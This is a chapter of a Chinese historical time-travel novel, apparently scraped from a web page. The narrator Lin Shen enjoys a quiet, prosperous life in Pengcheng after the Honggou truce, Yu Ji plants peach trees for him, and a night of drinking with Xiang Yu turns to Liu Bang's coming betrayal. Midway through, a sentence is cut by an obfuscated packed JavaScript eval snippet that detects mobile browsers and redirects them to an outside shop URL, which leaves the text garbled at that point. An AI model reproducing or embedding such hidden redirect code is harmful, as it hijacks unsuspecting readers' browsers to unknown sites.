第十九章
彭城的春天来得比砀郡早。
林深蹲在郡守府的台阶上，手里端着一碗酒，眯着眼睛晒太阳。阳光很好，不是夏天那种毒辣的、要把人晒脱一层皮的大太阳，而是春天特有的、温吞吞的、像母亲的掌心一样暖洋洋的太阳。
他把碗凑到嘴边抿了一口，酒是甜的，是新酿的米酒，不烈，喝下去胃里暖烘烘的。他已经很久没有这么闲过了。从鸿沟回来之后，从和议签了之后，从刘邦退兵、项羽也退兵、两家隔着那条浑浑的鸿沟各自舔舐伤口之后，他就一直这么闲。
不是没有事情做。事情很多，文书要整理，粮草要核对，各营的军报要分类归档。但他做得很快，快到他每天只花两个时辰就能把一天的事情做完，剩下的时间就是蹲在台阶上喝酒、晒太阳、看天、看云、看桃花。
日子像一条被固定了河道的河流，不急不躁，不慌不忙，像一个在阳光下散步的人。不，不是散步，是在慢走，走得很慢，慢到几乎看不出他在移动，慢到路边的草都比他长得快。
项羽没有回江东。他留在了彭城。
彭城是楚国的旧都，项梁死后，楚怀王迁都于此，项羽成了诸侯的上将军之后，楚怀王成了名义上的王，项羽成了实际上的王。
林深有时候会想，项羽这个人，到底想要什么？他想要天下吗？好像想要。他打了一辈子的仗，从二十四岁打到三十岁，从江东打到关中，从关中打到彭城，从彭城打到荥阳，从荥阳打到鸿沟。他走过的路，比他认识的所有人都多；他杀过的人，比他认识的所有人都多；他扛过的责任，比他认识的所有人都重。但他不像一个想要天下的人。想要天下的人，会算计、会权衡、会在该忍的时候忍、在该狠的时候狠。他不会。他不会忍，不会算，不会在鸿门宴上放走刘邦，不会在划鸿沟之后不去追。他做的一切，都是他想做的，不是他应该做的。他是一个按照自己的心意活着的人。在这个时代，按照自己的心意活着，是一种奢侈，是一种罪过，是一种不可饶恕的、会让人丧命的任性。但他不在乎。他在乎的东西很少，少到林深用一只1手就能数过来——虞姬，他的剑，他的马，他的江东子弟。也许还有林深。
他在这里的地位，不低。
不是他争来的，是项羽给的。鸿沟和议之后，项羽论功行赏，赏了他一座宅子，不是很大，但也不小，三进的院子，青砖灰瓦，门口有两棵槐树，夏天的时候能把整个门口遮在树荫下面。宅子里有仆人，不多，四个，一个做饭的周婶——不是沛县那个周婶，是彭城本地的，姓王，但林深还是叫她周婶，叫顺口了，改不过来；一个打扫院子的年轻男人，叫赵大；两个负责跑腿和传话的小厮，一个叫阿福，一个叫阿寿。林深第一次看到这些人的时候，站在门口愣了很久。他不是没有见过仆人，在砀郡的时候，王陵给他安排过赵安，但赵安不是仆人，是“帮忙的”。这些人是仆人，真正的仆人，签了契的、领月钱的。但他没有拒绝。不是不想，是不能。在项羽的体系里，拒绝赏赐是一种冒犯，他不会生气，他会困惑——像一个人看到一块石头挡在路上，他不会去搬它，他会绕过去，然后把那块石头忘掉。林深不想被忘掉。
所以他住了进去。第一天，他睡在主卧的木榻上，翻来覆去地睡不着。榻太软了，被褥太滑了，枕头太高了，房间里太安静了。他习惯了硬邦邦的干草铺，
第二天，他让阿福去找了一捆干草，铺在木榻上，把被褥铺在干草上面，把枕头换成包袱，然后躺上去，闭上了眼睛。
项羽知道他换了宅子之后，来了一次。不是专程来的，是路过。他骑着那匹黑色的乌骓马，从郡守府出来，经过林深的宅子门口，勒住了马，翻身下来，把缰绳扔给身后的侍卫，推开没关的门，走了进去。
林深正在院子里晒太阳，蹲在台阶上，手里端着一碗酒，眯着眼睛，像一只懒洋洋的、被养肥了的猫。听到脚步声，他睁开眼睛，看到了项羽。项羽穿着一件黑色的便服，没有穿甲胄。
“你这里，”项羽环顾了一下院子，说，“太小了。”
林深站起来，拍了拍衣裳上的灰。“不小了。我一个人住。”
项羽没有接话。他走到院子中间那棵槐树下面，仰头看了看。槐树的枝叶还稀疏。
“你这里，”他说，“没有花。”
林深愣了一下。花？他想起了虞姬，想起了虞姬帐篷里的那盆紫色的花——开了，谢了，又开了，又谢了。他离开的时候，那盆花已经彻底枯了，只剩下一根干巴巴的、灰褐色的茎。他不知道那盆花后来怎么样了，不知道虞姬有没有再种一盆，不知道项羽有没有蹲下来、跟她一起看花发芽。
“我不种花。”林深说。
“为什么不种？”
“不会种。”
项羽看了他一眼。
“让虞姬来帮你种。”项羽说。说完，他转身走了。
虞姬第二天来了。她不是一个人来的，带了两个士兵，士兵扛着几捆花苗和几袋土，还有一些叫不出名字的工具。虞姬穿着那件淡青色的衣裳。
她在院子里走来走去，像一只在寻找适合做窝的地方的鸟。她走到院子中间那棵槐树下面，蹲下来，看了很久。然后她站起来，拍了拍膝盖上的灰，转过身，看着林深。
“这里，”她指着槐树下面，“种一株。这里，”她指着东边的墙角，“种一株。这里，”她指着西边的墙角，“种一株。其他的，种门口，种墙根，种石阶两边。”她说完，拿起一捆花苗，开始种。她种花的样子很认真，像一个在做一件很重要的事情的人。她指挥着士兵，过了很久
“好了，”她说，“你什么都不用做，它们自己会长的。浇水，隔几天浇一次。不要浇太多，多了会烂根。”
“林深。”
“嗯。”
“你以后别叫阿福来喊我了。你自己来。”
林深愣了一下。“为什么？”
虞姬看着他，看了很久。
“因为你是他的朋友。”虞姬说，“不是他的下属。”
她走了。
林深站在院子里，看着那些刚种下去的花苗。小小的，嫩绿的，叶子在风中轻轻晃动，像一个刚出生的、还不怎么会站的孩子。
那些花，后来活了。不是全都活了，有一株没活——东边墙角那株，叶子黄了，蔫了，死了。虞姬来看了，说“土太硬了，根长不出去”，然后重新种了一株。新的那株活了，长得很好，叶子绿得发亮，像涂了一层油。春天还没过完，门口那株就开了花。粉白色的，一朵一朵的，不大，但很多，挤在一起，像一团一团的小小的云。
林深每天早上出门的时候都会看一眼，每天晚上回来的时候也会看一眼。他不知道那是什么花，虞姬告诉他，叫“桃”。桃花的桃。
林深站在门口，看着那些落下来的花瓣，看了很久。然后他弯下腰，捡起一片，夹在了正在看的那卷竹简里。竹简上写的是粮草清单，密密麻麻的数字，他一个字都没看进去。他在看那片花瓣，粉白色的，半透明的，薄得像一碰就会碎。他把竹简合上，放在案几上，看着那片被他夹在竹简缝隙里的、只露出一小半的、像一个小小的、粉白色的、正在探头探脑的花瓣。
日子继续过。项羽在彭城养精蓄锐，虎踞一方。他的“仁爱”不是装出来的，不是做给别人看的，不是政治秀。他是真的觉得，老百姓不应该饿肚子，不应该被抢，不应该被杀了家人还要跪着谢恩。他下令减免赋税——不是减一点点，是减了一大半。楚地的百姓被秦朝的苛政压了几十年，换了多少任皇帝，换了多少个年号，赋税从来没有减过，只有一年比一年重。项羽减了，不是因为他有钱——他缺，很缺，军队要养，粮草要买，甲胄要修，战马要喂，到处都要钱。但他还是减了。他说，百姓没有钱，你从他们身上榨不出钱。你榨出来的不是钱，是命。他们的命没了，你的命也长不了。他的逻辑很简单，简单到像一个不会转弯的人说的。
他还下令释放战俘——不是释放一部分，是释放所有。楚军抓的秦军俘虏，放了。诸侯军抓的楚军俘虏，他派人去要回来。要不回来的，他拿钱去赎。钟离昧说他疯了，季布说他太天真了。他没有听。他说，一个人被关了三年，你把他放出来，他不会杀你，他会谢你。你不放他，他恨你。他恨你，他就会杀你。他的话没有人反驳。不是因为他们同意，而是因为他们发现，他的话里有一种东西，叫“人心”。这种东西，他们不懂。项羽也不懂。他不是懂，他是信。
林深知道，这种信，会害死他。历史书上写了——项羽在鸿门宴上放了刘邦，刘邦回头就把他围在了垓下。项羽信了英布，英布叛变。项羽信了项伯，项伯在鸿门宴上帮刘邦挡剑。他信了所有人，所有人都负了他。不是那些人坏，是他信得太多了。在这个时代，信得多，死得快。林深知道这个道理，但他没有告诉项羽。不是不想，是不知道该怎么告诉。告诉一个相信人心的人“人心不可信”，等于告诉一个相信爱情的人“爱情不存在”。他不忍心。
项羽在彭城的声望，一天比一天高。不是因为他自己说的，是因为老百姓说的。+他们不知道什么是“鸿沟和议”，不知道什么是“划鸿沟而治”，不知道刘邦是谁、项羽是谁、他们为什么要打、打了多久、死了多少人。他们只知道，今年不用交那么多粮了，今年不用被抓去当兵了，今年可以活着看到明年春天的花了。这就够了。他们在街上看到项羽的车驾经过的时候，会跪下来，低着头，不敢看。但当车驾走远了，他们会抬起头，看着那个远去的、黑色的、坐在马车里看不清表情的，说一声——“项王。”
不是“万岁”，不是“千岁”，是“项王”。项羽听到了吗？也许听到了，也许没有。
林深在彭城的日子，可以用四个字来形容——风生水起。不是他自己要风生水起的，是风水和起来找他了。他不需要做任何事，不需要讨好任何人。机会自己会来，从各个方向来，像蜜蜂闻到花香一样，嗡嗡嗡地飞过来，围着他转，赶都赶不走。今天这个将领请他吃饭，明天那个文官请他喝酒，后天某个从外地来的使者带了礼物要来拜访他。
他不喜欢这些。不是因为他清高，而是因为他不知道该怎么应对。他是“林深”——项王府的幕僚，项王的亲信，项王最信任的人之一。这个身份，让他坐在了这张桌子上，面前摆满了菜，碗里倒满了酒，旁边的人笑着、说着、敬着、恭维着。
他的衣裳越来越好了。从粗麻布到细麻布，从细麻布到绸缎。不是他自己买的，是别人送的。今天这个将领送他一匹布，明天那个文官送他一件成衣，后天某个从外地来的使者送他一套据说从西域来的、用金线绣着花纹的、摸上去像婴儿皮肤一样光滑的、不知道该叫什么的衣裳。他不想收，但他收了。不收，是打人脸。收了，是给面子。
面子这个东西，在这个时代，比钱贵，比命重。他不能不给。
他的饭桌上的菜越来越多了。不是他自己要的，是周婶自己要加的。周婶说，“先生你是项王的人，不能吃得寒酸。你吃得寒酸，别人会以为霸王对你不好。”他知道周婶说的是对的。在这个时代，吃什么，穿什么，住什么，不是个人的事，是面子的事。面子不是自己的事，是别人的事。
所以他吃了。吃得很慢，每一口都嚼很久。不是因为他想慢，是因为他的胃装不下那么多东西。他吃完之后，会去院子里走几圈，走得很慢，像一个在消食的老人。他看着那些花，看着那些虞姬帮他种下的、已经长得很高了、有些已经开了花的花。他蹲下来，看着一朵粉白色的、还没有完全打开的、像一个正在伸懒腰的小拳头一样的花苞。他伸出手，用指尖轻轻碰了一下，花苞晃了一下，像一个被挠了痒痒、忍不住笑出来但忍住了的孩子。
他笑了。
他的朋友越来越多了。不是芒砀山上的那种朋友——那种朋友不需要说话，不需要请客，不需要送礼，不需要在任何场合证明“我们是朋友”。他们是彭城的朋友——今天认识的、明天可能就不认识了的、后天又在某个场合遇到了然后要假装很熟的、大后天可能就在背后捅你一刀的、你不知道他们是谁但他们知道你是谁的朋友。林深不知道怎么交朋友。
他的酒量越来越好了。从一个晚上喝一碗就脸红、两碗就头晕、变成了一个能跟龙且对饮、喝到天亮、第二天还能准时出现在文书房、一个数字都不算错的“酒桶”。不是他练出来的，是他喝出来的。
他的同事们已经习惯了他每天早上的样子——脸色苍白，眼袋发青，手指在微微发抖，但写出来的字比谁都要好。他们不知道他是怎么做到的。他们不知道，他每天早上会先喝一碗苏萤熬的粥。甜的，红枣的甜。那碗粥像一只手，从他的喉咙伸进去，把他从悬崖边上拉回来。
他喝完粥，把手在衣裳上擦了擦，拿起毛笔，开始写。他写的是军报，是粮册，是各地送来的、需要整理、分类、归档、呈交给项羽的竹简。他写得很慢，很仔细，每一个字都写得工工整整，像在完成一件艺术品。不是因为他想，而是因为他只会这么写。
在沛县的时候，萧何说他的字好看。在砀郡的时候，陈平说他的字好看。在彭城的时候，所有人都说他的字好看。他不知道自己的字是不是真的好看。他只知道，他写字的时候，心里是安静的。不是因为他在做一件有意义的事，而是因为他不需要想任何事情。
他的物质生活已经到了他做梦都想不到的程度。他的宅子从三进变成了五进——不是他换的，是项羽让人扩的。项羽说，你那里太小了，客人来了坐不下。林深想说“我没有客人”，但他没有说。他知道项羽说的“客人”不是他的客人，是项羽的客人。那些从各地来的诸侯使者、将领、文官、说客、谋士，到了彭城，都会来拜访他。不是因为他是谁，而是因为他是“项羽身边的人”。他们想通过他，见到项羽。他们想通过他，让项羽听到他们的话。他们想通过他，改变项羽的决定。
他是一个门，一扇很窄的、只能一个人通过的门，但他们还是挤了进来，挤得他喘不过气。他让阿福开了门，让他们进来，坐在院子里，端上茶，陪着笑，听他们说完，然后说“我会转告项王”。他转了。他把每一句话都转了，不是因为他觉得重要，而是因为他觉得不应该替项羽做决定。他不知道哪些是重要的，哪些是不重要的。他只知道，他的话，不是他的话。是他们的。
他的生活像一面湖。很平静，平静得像一面镜子，倒映着天上的云、岸边的树、远处山峦的轮廓。但湖底有什么东西在涌动，是时间，是历史，是命运，是那些他不敢改变、改变不了的，正在一步一步朝他走来的东西。它们在湖底蠕动，像一条巨大的、看不见的蛇，在黑暗中蜷缩着，等待着，等待着那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536411|203833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个它会突然弹起来、露出毒牙、一口咬住猎物的时刻。
他知道那个时刻会来。他知道它会从哪个方向来，以什么形式来，带来什么后果。他知道刘邦会撕毁和约，知道韩信会在垓下设下十面埋伏，知道四面楚歌的时候项羽的士兵会一个一个地逃跑，知道虞姬会自刎，知道项羽会拒绝过江东，知道一切都将在乌江边画上句号。他知道历史书上的每一个字，每一个被后人反复咀嚼、反复讨论的细节。他不敢看。不是不想看，是不敢。他怕他看了，就会忍不住去改变。他怕他改变了，一切都不存在了。
彭城的日子很慢。
项羽有时候会叫他去喝酒。不是在帅帐里，不是在宴会上，不是在任何一个有别人在场的地方。是在他的院子里，在虞姬种的那些花中间，在一棵老槐树下，在一张石桌旁边。石桌上放着一壶酒，两个碗，一碟花生米，一碟切好的咸蛋。没有别人，只有他们两个。项羽穿着那件黑色的便服，头发散着，披在肩上，没有束。他的脚放在石桌下面，光着，没有穿鞋。
林深盘腿坐在石凳上，端着一碗酒，看着项羽。
那个笑，林深永远忘不了。那不是西楚霸王的笑，不是天下无敌的上将军的笑，不是让诸侯将领膝行而入、不敢仰视的项羽的笑。那是一个人的笑。一个光着脚、吃花生米会把壳嚼碎、咽完了才想起来花生米还在壳里面、然后吐出来、又重新剥了一遍的人的笑。那种笑，历史书上没有。历史书上只有项羽在垓下被围、四面楚歌、虞姬自刎、他一个人在帐篷里喝酒、唱“力拔山兮气盖世，时不利兮骓不逝”的那段。那段是真的，但这段也是真的。这段没有被写进历史书，因为没有人在场。
没有史官，没有记录，没有人在石桌旁边蹲着、拿着毛笔、在竹简上写下“某年某月某日，项羽与林深饮于彭城，光足，食花生，嚼壳而咽，复吐之，笑”。没有人写，不代表没有发生。它发生了。林深在场。他看到了。他记住了。他会把这段带到两千多年后的那个世界里去，告诉那些只知道“霸王别姬”的人——项羽不只是自刎乌江的霸王。他
“林深。”项羽喝了一口酒，放下碗，看着林深。
“嗯。”林深也喝了一口酒，放下碗，看着他。
“你说，刘邦现在在干什么？”
林深沉默了一会儿。“也许在喝酒。也许在跟他的手下商量怎么撕毁和约。也许在看地图，看哪里好下手。”
项羽没有说话。他拿起一颗花生米，剥了壳，把花生米放进嘴里，嚼了，咽了。他又拿起一颗，剥了壳，把花生米放进嘴里，嚼了，咽了。他一连吃了好几颗，吃得很快，很用力，像一个在跟自己赌气的人。
“项王。”林深叫了他。
项羽抬起头，看着他。
“你说过，你不信刘邦。我也不信。你说刘邦不会等。”项羽的声音很平，平得像在说今天的天气，“那他什么时候来？”
林深的手指在酒碗的碗沿上收紧了。历史书上写着，鸿沟和议之后，刘邦在张良和陈平的建议下撕毁和约，追击项羽，约韩信、彭越合围，最终在垓下将项羽围住。那是公元前202年。现在是公元前205年的秋天。最多一年。也许更短。历史书上的时间不一定准确，也许刘邦的耐心比他以为的更少。
“我不知道。”林深说。
项羽看着他。那双藏起了光的眼睛在林深脸上停留了很久，久到林深觉得自己的脸被那目光灼出了一个洞。
“你知道。”项羽说，嘴里还含着花生米，声音有些含混，但每一个字都清清楚楚，“你一直都知道。”
林深的后背僵住了。石凳的冰凉从臀部蔓延到腰椎，从腰椎蔓延到脊椎
“项王——”
“林深，我问你一个问题。”项羽说。
“你问。”
“你说刘邦会来。你说他不会等。你说他会在我们还没有准备好的时候就来。”项羽的声音很轻，轻到像一片羽毛落在水面上，但每一个字都像一把刀，从不同的角度扎进林深的身体里，“那你告诉我——他来的时候，我们能打赢吗？”
林深的喉咙像被什么东西堵住了。他看着项羽的眼睛，那双在月光下灰白色的、像黎明前天空一样的眼睛。他想说“你会输”。但他不能说。
“能。”林深说。声音很轻，轻到他自己都几乎听不见。但项羽听见了。
“那你告诉我，”项羽的声音从对面传过来，像一个在问路的人，“我们现在需要准备什么？”
林深陷入久久地沉默，仿佛时间暂停了
“林深。”项羽叫了他的名字。声音有一些哑，有一些涩，像一个很久没有说话的人忽然开口时的那种不自然。
“嗯。”
“你知道吗，你是第一个。”
“第一个什么？”
“第一个不是因为我打胜仗而跟着我的人。”项羽的声音很轻，轻到像一片羽毛落在水面上，“所有人都觉得我能赢。所有人跟着我，都是因为我能赢。龙且跟着我，是因为我打赢了巨鹿。季布跟着我，是因为我打赢了彭城。钟离昧跟着我，是因为我打赢了定陶。虞姬跟着我，是因为她的父亲死了，她没有地方去，她无处可去。”
他停了一下。
“只有你，”他说，“是在我还没赢的时候来的。你来找我的时候，我刚从砀郡败回来。我刚死了五百个人，我刚丢了一座城，我刚被人打得灰头土脸地缩在彭城，不知道下一步该怎么走。你来了。你从刘邦那边来的。你来的时候，我以为是刘邦派来的奸细。我让季布去查你。季布查了三天，跟我说，‘这个人不是奸细。他是真的无处可去。’”
项羽笑了一下。那个笑容不大，嘴角只是微微上扬了一点点。
“季布说错了。你不是无处可去。你是哪儿都不去。你就待在这儿。
“林深，”他说，“喝完这碗酒，我们不聊刘邦了。不聊打仗了。
林深端起自己的碗，跟项羽碰了一下。玻璃碰撞的声音清脆而短促，像一声小小的钟鸣。
“那聊什么？”林深问。
项羽想了想。“聊花。你门口那株桃花，开了吗？”
“开了。”
“好看吗？”
“好看。”
“虞姬种的？”
“嗯。”
项羽点了点头。他端着自己的酒碗，没有喝，只是端着，看着碗里的酒液在月光下闪着细碎的、琥珀色的光。
“她也帮我种了一株，”项羽说，“在我的院子门口。不知道开了没有。我好久没回去了。”
林深没有说话。他知道项羽说的“好久”是多久。从鸿沟回来后，项羽一直住在军营里，没有回过他在彭城的宅子。
“会开的。”林深说。
项羽看着他。
“花会开的。”林深又说了一遍，“你回去看的时候，它就开了。它等着你呢。”
项羽离开后，他站起来，腿是麻的，身体晃了一下，扶住了石桌。他站稳了，拍了拍衣裳上的灰，穿上鞋——不知道什么时候脱的，也许是被项羽的赤脚传染了——走回了自己的房间。
他躺了下来，把被子拉到下巴，闭上了眼睛。石桌那滩痕迹应该已经干了。明天太阳出来的时候，它会消失，像从来没有存在过一样。但它存在过。林深知道。项羽知道。月亮知道。桃花也知道。